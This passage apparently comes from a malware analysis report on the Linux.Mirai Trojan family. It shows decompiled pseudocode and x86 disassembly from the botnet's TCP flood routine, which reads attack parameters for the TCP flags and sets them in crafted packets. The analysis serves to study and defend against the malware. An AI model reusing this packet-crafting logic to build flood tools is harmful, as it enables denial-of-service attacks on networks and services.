Investigation of Linux.Mirai Trojan family

36
36
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);
Setting flags in the packet:
.text:0804A016 mov [esi+tcp_packet.seq], eax
.text:0804A019 mov al, byte ptr [esi
+tcp_packet.flags]
.text:0804A01C and eax, 0Fh
.text:0804A01F or eax, 0FFFFFFA0h ; set packet size
as 10 dwords (40 bytes)
.text:0804A022 mov byte ptr [esi+tcp_packet.flags],
al
.text:0804A025 mov al, byte ptr [esi
+(tcp_packet.flags+1)]
.text:0804A028 and eax, 0FFFFFFCFh ; 0x11001111
.text:0804A02B mov dl, [esp+6Ch+ack_flg]
.text:0804A02F or al, [esp+6Ch+urgent_flg_shifted]
.text:0804A033 mov cl, [esp+6Ch+push_flag]
.text:0804A037 shl edx, 4
.text:0804A03A shl ecx, 3
.text:0804A03D or eax, edx
.text:0804A03F and eax, 0FFFFFFF3h ; 0x11110011
.text:0804A042 mov dl, [esp+6Ch+rst_flg]
.text:0804A046 shl edx, 2
.text:0804A049 or eax, ecx
.text:0804A04B or eax, edx
.text:0804A04D mov dl, [esp+6Ch+syn_flag]
.text:0804A051 add edx, edx
.text:0804A053 and eax, 0FFFFFFFCh
.text:0804A056 or eax, edx
.text:0804A058 or eax, edi
.text:0804A05A mov byte ptr [esi+(tcp_packet.flags
+1)], al